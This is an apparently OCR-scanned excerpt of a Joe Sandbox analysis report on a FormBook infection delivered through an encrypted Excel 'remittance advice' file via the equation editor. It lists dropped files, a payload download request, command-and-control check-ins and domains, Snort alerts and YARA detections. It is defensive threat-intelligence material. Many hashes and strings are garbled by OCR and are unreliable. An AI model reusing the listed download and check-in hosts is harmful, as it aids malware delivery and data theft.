DF40D4A774E0B453A5B87C00D6FOEF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44ES56A6DBB6D9A1BEID4AFB5D1B5F2D0C6ED34!
FE

false
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https://view.joesandbox.com/analysis/415700/html/none

C:\Users\luser\AppData\Local\Temp\~DF927638A277FFF96D.TMP

Preview:

C:\Usersluser\AppData\Local\Temp\~-DFEABD3D7DAAOEOCDA.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

CDFV2 Encrypted

dropped

234184

7.970312526321275

false
6144:yxNNFbveUPpgiOrpvu5LalXWjBUnsPOUYTO17ENuja:aNrbveei5uJWjTFFUQNv
2CAAB2292B282E6ASDEALCF78F84924A
86F37C31091B15CCA135490A84EB52027BB1A4DF
4C84124C87CD46CE58A7A8208AD1674C4A270793F9A6158E80FD28F96B3CC844
70590F55C98C31FB7B2A95CB6D6B63917E1FAOF868C3AF852A805D45CBB176356A4B1DC1431EF908C680821730D0D02948956C03388FCEE6FCF6BBD661D5573

false

. %..8..." .
VB FL Gl HL KL MLNLLOL P Q. RS T ULV WL XY Z LA L A ab e d. e g b

C:\Users\user\AppData\Local\Temp\~-DFFCF9EB155A244E75.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

data

dropped

512

0.0

false

3

BF619EACOCDF3F68D496EA9344137E8B
5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AES
076A27C79ES5ACE2A3D47F9DD2ES3EAFF6EA8872B3C2218F66C92B89B55F36560

DF40D4A774E0B453A5B87C00D6FOEF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BEIDAFB5D1B5F2D0CGED34|
FE

false

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

165

1.4377382811115937

false

3:vZ/FFDIwW2fV.vBFFGS

797869BB881CFBCDAC2064F92B26E46F
61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0OB081F185
1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCESBAD3A82D664E3C65CC5251D0E4A21F750911AESDC2FC3653E49F58!1

true

.user LALbUS.

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
dropped

305085

7.93321683103638

false

6144:rGilouWvjgebPleWFVGwWN5QwB0ZmAFd+DnMAlym7a:fzuebPIDVGWNh3AFPh
1624595E2354FF7BE9E7DC6DEF2ED69E
1DCFAAE594E3690D3FEF5FD4DEB55D02E9CBB2A5
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SHA-256:
SHA-512:
Malicious:

Preview:

4B50745E74FEA6FAA516B4D46B7C9FBE36FDAE2301B76EC940635D033707A2C8
AEBD6E6D28ECAB56E48B037836C2FFC573A8493B576EA3B59AC6932C6E782FCI9AD1DA7AG7A231830A2C4612C89E24FOE7F483D24080F29D6133D81C7207971

true

1..L.IThis program cannot be run in DOS mode....$..

LIS 8. 8{5..%.0.8.y..$..7...$.£.". . $.Rich..$

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

CDFV2 Encrypted

7.970312526321275

e Generic OLE2 / Multistream Compound File
(8008/1) 100.00%

REMITTANCE ADVICE.xlsx

234184

2caab2292b282e6a5dealcf78f84924a
86f37c¢31091b15ccal35490a84eb52027bbladdf

4c84124c87cd46ce58a7a8208ad1674c4a270793f9a615
8e80fd28f96b3cc844

70590f55¢98¢31fh7h2a95ch6d6b63917e1fa0f868c3af85
2a805d45cbb176356a4b1dc1431ef908c680821730d0d0
2948956¢c03388fcee6fci6bbd661d55733

6144:yxNNFbveUPpgiOrpvu5LalXWjBUnsPOUYTO17E
Nuja:aNrbveei5SuJWjTFFUQNv

>

ede2aaB8aadb4bch4

Network Behavior

Snort IDS Alerts

Timestamp

11/25/21-
18:13:29.812628

11/25/21-
18:13:29.812628

11/25/21-
18:13:29.812628

11/25/21-
18:13:29.930166

11/25/21-
18:13:40.957479

11/25/21-
18:13:40.957479

11/25/21-
18:13:40.957479

Source Dest
Protocol SID Message Port Port Source IP Dest IP
TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49168 80 192.168.2.22  34.102.136.180
TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49168 80 192.168.2.22  34.102.136.180
TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49168 80 192.168.2.22  34.102.136.180
TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49168 34.102.136.180 192.168.2.22
TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49171 80 192.168.2.22  156.234.44.48
TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49171 80 192.168.2.22  156.234.44.48
TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49171 80 192.168.2.22  156.234.44.48

Network Port Distribution
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TCP Packets

UDP Packets

DNS Queries

Timestamp

Nov 25, 2021 18:13:29.634049892 CET
Nov 25, 2021 18:13:34.947618008 CET
Nov 25, 2021 18:13:40.503207922 CET

Nov 25, 2021 18:13:46.443938971 CET

DNS Answers

Timestamp Source IP

Nov 25, 2021 8.8.8.8
18:13:29.655356884
CET

Nov 25, 2021 8.8.8.8
18:13:29.655356884
CET

Nov 25, 2021 8.8.8.8
18:13:35.128479004
CET

Nov 25, 2021 8.8.8.8
18:13:40.709136963
CET

Nov 25, 2021 8.8.8.8
18:13:46.498696089
CET

Nov 25, 2021 8.8.8.8
18:13:46.498696089
CET

Source IP Dest IP Trans ID OP Code
192.168.2.22 8.8.8.8 0x439c Standard query
(0
192.168.2.22 8.8.8.8 0x8eb8 Standard query
0
192.168.2.22 8.8.8.8 0xc18c Standard query
(0
192.168.2.22 8.8.8.8 0xfc43 Standard query
(0
Dest IP Trans ID Reply Code Name CName
192.168.2.22 0x439c No error (0) www.promtg promtgloan.com
loan.com
192.168.2.22 0x439c No error (0) promtgloan.com
192.168.2.22 0x8eb8 No error (0) www.yhxt13
800.com
192.168.2.22 0Oxcl18c No error (0) www.clickt
oreach.com
192.168.2.22 0xfc43 No error (0) www.ff4cub ff4cubtwe.xyz
twe.xyz
192.168.2.22 0xfc43 No error (0) ffacubtwe.xyz

HTTP Request Dependency Graph

e 192.210.173.90

e www.promtgloan.com

* www.yhxt13800.com

e www.clicktoreach.com

HTTP Packets

Session ID Source IP Source Port

0 192.168.2.22 49167
kBytes

Timestamp transferred Direction

Nov 25, 2021 0 ouT

18:12:12.974230051 CET

Copyright Joe Security LLC 2021

Destination IP Destination Port
192.210.173.90 80

Data

GET /70007/vbc.exe HTTP/1.1
Accept: */*

Accept-Encoding: gzip, deflate

Process

Name

WWw.promtg
loan.com

www.yhxt13
800.com

www.clickt
oreach.com

www.ff4cub
twe.xyz

Address

34.102.136.180

154.205.233.189

156.234.44.48

23.225.139.107

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
CNAME
(Canonical name)

A (IP address)

A (IP address)

A (IP address)

CNAME

(Canonical name)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727,
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 192.210.173.90
Connection: Keep-Alive
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kBytes

Timestamp transferred Direction Data
Nov 25, 2021 1 IN HTTP/1.1 200 OK
18:12:13.155354977 CET Date: Thu, 25 Nov 2021 17:12:13 GMT

Server: Apache/2.4.51 (Win64) OpenSSL/1.1.11 PHP/8.0.12

Last-Modified: Wed, 24 Nov 2021 09:28:50 GMT

ETag: "4a7bd-5d1857c59b117"

Accept-Ranges: bytes

Content-Length: 305085

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dO 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 e5 75 4a a8 al 14 24 fb al 14 24 fb al 14 24 fb 2f 1c 7Tb fb a3 14 24 fb al 14 25 tb
3a1424fb 22 1c 79 fb b0 14 24 fb f5 37 14 fb a8 14 24 th 66 12 22 fb a0 14 24 fb 52 69 63 68 al 14 24 fb 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 cd cd ef 48 00 00 00 00 00 00 00 00 e0 00 Of 01 Ob 01 06 00 00
5¢ 00 00 00 84 02 00 00 04 00 00 e3 30 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00
00 00 00 00 04 00 00 00 00 00 00 00 00 80 03 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10
00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 74 00 00 b4 00 00 00 00 70 03 00 00 09 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 8¢ 02 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 68 5b 00 00 00 10 00
00 00 5¢c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9¢ 12 00 00 00 70
00 00 00 14 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 5¢ 02 00 00
90 00 00 00 04 00 00 00 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 6e 64 61 74 61 00 00 00 80 00 0O
00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 cO 2e 72 73 72 63 00 00 00 00 09 00
00 00 70 03 00 00 Oa 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$uJ$$$/{$%:$"y$7$f"$Rich$PELH\Op@tpp.texth]\ *.rdatap
"@@.dataX\t@.ndata.rsrcpx@ @

Session ID Source IP Source Port Destination IP Destination Port Process
1 192.168.2.22 49168 34.102.136.180 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Nov 25, 2021 323 ouT GET /m07f/?8p=5jRPexjhYVA&8pM=fckM7dU8XdB/CBRKAIi8IWZTeVSsZcSnfTINsehECm7QI2Avboj8F204ZiYC
18:13:29.812628031 CET fg8g2yKAcw==HTTP/1.1

Host: www.promtgloan.com
Connection: close
Data Raw: 00 00 00 00 00 00 00

Data Ascii:
Nov 25, 2021 324 IN HTTP/1.1 403 Forbidden
18:13:29.930166006 CET Server: openresty

Date: Thu, 25 Nov 2021 17:13:29 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6192576¢-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6€ 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></htm|>

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.22 49169 154.205.233.189 80 C:\Windows\explorer.exe
kBytes

Timestamp transferred Direction Data
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kBytes

Timestamp transferred Direction Data
Nov 25, 2021 324 ouT GET /m07f/?8pM=dna2QeGax28GSJIkNz7Uka6j7mpWTPT6ewM6loPSglzIWFgZfz420N2JlykoAty+SKeMdPQ==&8p
18:13:35.307363987 CET =5jRPexjhYVA HTTP/1.1

Host: www.yhxt13800.com
Connection: close
Data Raw: 00 00 00 00 00 00 00

Data Ascii:
Nov 25, 2021 326 IN HTTP/1.1 200 OK
18:13:35.485795021 CET Server: nginx

Date: Thu, 25 Nov 2021 17:13:43 GMT

Content-Type: text/html

Content-Length: 2025

Connection: close

Vary: Accept-Encoding

Data Raw: 3c 68 74 6d 6¢ 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78
68 74 6d 6¢ 22 3e 0d Oa 3c 68 65 61 64 3e 0d Oa 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6¢ 65 3d
27 d0 c2 d3 e0 c7 bd c6 cc bb el d5 b9 b7 fe ce f1 d3 dO cf de b9 ab cb be 27 3b 3c 2f 73 63 72 69 70 74 3e 0d Oa 3c 74
69 74 6¢ 65 3e 26 23 32 30 31 32 32 3b 26 23 32 37 39 35 34 3b 26 23 33 32 35 30 38 3b 26 23 32 31 35 31 32 3b 26 23
3230303337 3b 26 23 32 30 30 33 37 3b 26 23 31 39 39 36 38 3b 26 23 32 36 34 31 32 3b 26 23 32 30 32 33 34 3b 26
233139 39 36 38 3b 26 23 32 31 33 30 36 3b 26 23 34 34 3b 26 23 32 36 33 36 38 3b 26 23 32 36 30 33 32 3b 26 23 32
36 33 36 38 3b 26 23 32 32 38 32 33 3b 26 23 33 30 33 34 30 3b 26 23 32 30 31 32 32 3b 26 23 32 37 39 35 34 3b 26 23
36 35 3b 26 23 38 36 3b 26 23 33 32 35 39 33 3b 26 23 33 31 34 34 39 3b 26 23 34 34 3b 26 23 32 32 33 31 32 3b 26 23
3332343437 3b 262333353236 36 3b 26 23 33 30 34 37 35 3b 26 23 32 30 38 31 33 3b 26 23 33 36 31 35 33 3b 26
233232323639 3b26 23323031 33353b 26233237 34 3331 3b 2623333236 3534 3b 2623313939 36383b
2623 32 31333036 3b26 23 34 34 3b 26 23 32 30 30 33 37 3b 26 23 32 30 30 33 37 3b 26 23 33 32 35 30 38 3b 26 23
3231353132 3b 26233139 39 36 38 3b 26 23 32 31 33 30 36 3b 26 23 32 30 31 30 38 3b 26 23 32 31 33 30 36 3b 26
2331393937 37 3b 26 23 32 31 33 30 36 3b 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65
7977 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 30 31 32 32 3b 26 23 32 37 39 35 34 3b 26 23 33 32 35 30
38 3b 26 23 32 31 35 31 32 3b 26 23 32 30 30 33 37 3b 26 23 32 30 30 33 37 3b 26 23 31 39 39 36 38 3b 26 23 32 36 34
3132 3b 26 23 32 30 32 33 34 3b 26 23 31 39 39 36 38 3b 26 23 32 31 33 30 36 3b 26 23 34 34 3b 26 23 32 36 33 36 38
3b 26 23 32 36 30 33 32 3b 26 23 32 36 33 36 38 3b 26 23 32 32 38 32 33 3b 26 23 33 30 33 34 30 3b 26 23 32 30 31 32
32 3b 26 23 3237 39 35 34 3b 26 23 36 35 3b 26 23 38 36 3b 26 23 33 32 35 39 33 3b 26 23 33 31 34 34 39 3b 26 23 34
34 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 33 35 32 36 36 3b 26 23 33 30 34 37 35 3b 26 23 32 30 38
3133 3b 26 23 33 36 31 35 33 3b 26 23 32 32 32 36 39 3b 26 23 32 30 31 33 35 3b 26 23 32 37 34 33 31 3b 26 23 33 32
36 35 34 3b 26 23 31 39 39 36 38 3b 26 23 32 31 33 30 36 3b 26 23 34 34 3b 26 23 32 30 30 33 37 3b 26 23 32 30 30 33
37 3b 26 23 33 32 35 30 38 3b 26 23 32 31 35 31 32 3b 26 23 31 39 39 36 38 3b 26 23 32 31 33 30 36 3b 26 23 32 30 31
30 38 3b 26 23 32 31 33 30 36 3b 26 23 31 39 39 37 37 3b 26 23 32 31 33 30 36 3b 22 20 2f 3e 0d Oa 3c 6d 65 74 61 20
6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 30 31 32 32 3b 26 23 32
37393534 3b 26 23 33 32 35 30 38 3b 26 23 32 31 35 31 32 3b 26 23 32 30 30 33 37 3b 26 23 32 30 30 33 37 3b 26 23
3139 39 36 38 3b 26 23 32 36 34 31 32 3b 26 23 32 30 32 33 34 3b 26 23 31 39 39 36 38 3b 26 23 32 31 33 30 36 3b 26
2334 34 3b 26 23 32 36 33 36 38 3b 26 23 32 36 30 33 32 3b 26 23 32 36 33 36 38 3b 26 23 32 32 38 32 33 3b 26 23 33
303334 30 3b 26 23 32 30 31 32 32 3b 26 23 32 37 39 35 34 3b 26 23 36 35 3b 26 23 38 36 3b 26 23 33 323539 33 3b
26 23 33 31 34 34 39 3b 26 23 34 34 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 33 35 32 36 36 3b 26 23
333034 37 35 3b 26 23 32 30 38 31 33 3b 26 23 33 36 31 35 33 3b 26 23 32 32 32 36 39 3b 26 23 32 30 31 33 35 3b 26
2332373433313b2623

Data Ascii: <html xmIns="http://www.w3.0rg/1999/xhtml"><head><script>document.title=";</script><title>&#20122
1&#t27954,8#32508;&#21512;&#20037;8#20037;8#19968;&#26412;&#20234;8#19968;&#21306;&#44;&#26368;&#2603
2,&#26368;&#22823;&#30340;&#20122;&#27954;8#65;8#86;8#32593;8#31449;8#44,8#22312,8#32447,&#35266;&#3
0475;&#20813;&#36153;8#22269;&#20135;&#27431,&#32654,8#19968;&#21306;&#44,&#20037;&#20037;&#32508;&#
21512;&#19968;8#21306;&#20108;&#21306;&#19977,;&#21306;</title><meta name="keywords" content="&#20122
1&#t27954,8#32508;&#21512;&#20037;&8#20037;8#19968;&#26412;&#20234;8#19968;&#21306;&#44;&#26368;&#2603
2,&1#26368;&#22823;&#30340;&#20122;&#27954;8#65;8#86;8#32593;8#31449;8#44,8#22312,8#32447,&#35266;&#3
0475;&#20813;&#36153;8#22269;&#20135;&#27431;&#32654,8#19968;&#21306;&#44,&#20037;&#20037;&#32508;&#
21512;&#19968;8#21306;&#20108;8&#21306;&#19977;&#21306;" /><meta name="description" content="8&#20122;
&#27954,8#32508;&#21512;8#20037;&#20037;&#19968;&#26412;&#20234;&#19968;&#21306;&#44,&#26368;&#26032
1&#t26368;8#22823;&#30340;&#20122;8#27954,8#65;8#86,;8#32593;&#31449;&#44,&#22312,&#32447;84#35266;8#30
475;8#20813;8#36153;&#22269;8#20135;&#27431;&#

Session ID Source IP Source Port Destination IP  Destination Port Process
3 192.168.2.22 49171 156.234.44.48 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Nov 25, 2021 327 ouT GET /mO07f/?8p=5jRPexjhYVA&8pM=igd9ZaB/0OLuNZ3khfd1rv5ythTuTDfiv5fbgroetehOkX6jie/kGfA2Y 9msKDFCRQxqONA
18:13:40.957479000 CET ==HTTP/1.1

Host: www.clicktoreach.com
Connection: close
Data Raw: 00 00 00 00 00 00 00

Data Ascii:
Nov 25, 2021 328 IN HTTP/1.1 301 Moved Permanently
18:13:41.200989008 CET Server: openresty

Date: Thu, 25 Nov 2021 17:13:41 GMT

Content-Type: text/html

Content-Length: 166

Connection: close

Location: https://www.clicktoreach.com/m07f/?8p=5jRPexjhYVA&8pM=igd9ZaB/0LuNZ3khfd1rv5ythTuTDfiv5fbg
roetehOkX6jie/kGFA2YIMsKDFCRQxgOnA==

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61
6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢
68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 3¢ 2f 63 65 6e 74 65 72 3e 0d Oa
3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3¢ 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d
0Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>301 Moved Permanently</tittle></head><body><center><h1>301 Moved Permanently</h1
></center><hr><center>openresty</center></body></html>

Copyright Joe Security LLC 2021 Page 26 of 31



Code Manipulations

Statistics

Behavior

g

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 284 Parent PID: 596

General

Start time: 18:11:17

Start date: 25/11/2021

Path: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Wow64 process (32bit): false

Commandline: "C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE" /automation -Embedding

Imagebase: 0x13f3b0000

File size: 28253536 bytes

MDS5 hash: D53B85E21886D2AF9815C377537BCAC3

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high
File Activities Show Windows behavior
File Written
Registry Activities Show Windows behavior
Key Created

Key Value Created

Analysis Process: EQNEDT32.EXE PID: 1184 Parent PID: 596

General

Start time: 18:11:39

Start date: 25/11/2021

Path: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Wow64 process (32bit): true

Commandline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase: 0x400000

File size: 543304 bytes

MD5 hash: A87236E214F6D42A65F5DEDAC816AECS
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Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

true
true
C, C++ or other language

high

File Activities

Registry Activities

Key Created

Show Windows behavior

Show Windows behavior

Analysis Process: vhc.exe PID: 1348 Parent PID: 1184

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

18:11:42

25/11/2021
C:\Users\Public\vbc.exe
true
"C:\Users\Public\vbc.exe"

0x400000

305085 bytes
1624595E2354FF7BE9E7DC6DEF2ED6GIE
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000004.00000002.465187885.0000000000510000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000004.00000002.465187885.0000000000510000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000004.00000002.465187885.0000000000510000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low
File Activities Show Windows behavior
File Created
File Deleted
File Written
File Read
Analysis Process: vbc.exe PID: 2028 Parent PID: 1348
General
Start time: 18:11:44
Start date: 25/11/2021
Path: C:\Users\Public\vbc.exe
Wow64 process (32bit): true
Commandline: "C:\Users\Public\vbc.exe"
Imagebase: 0x400000
File size: 305085 bytes
MDS5 hash: 1624595E2354FF7BE9E7DC6DEF2EDG9E

Has elevated privileges:

Has administrator privileges:

Copyright Joe Security LLC 2021
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Programmed in:

Yara matches:

C, C++ or other language

.

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000002.527141411.00000000023C0000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000005.00000002.527141411.00000000023C0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000002.527141411.00000000023C0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000002.525306169.0000000000560000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000005.00000002.525306169.0000000000560000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000002.525306169.0000000000560000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000000.463047286.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000005.00000000.463047286.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000000.463047286.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000000.463706165.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000005.00000000.463706165.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000000.463706165.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000002.525208793.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000005.00000002.525208793.0000000000400000.00000040.00000001.sdmp,
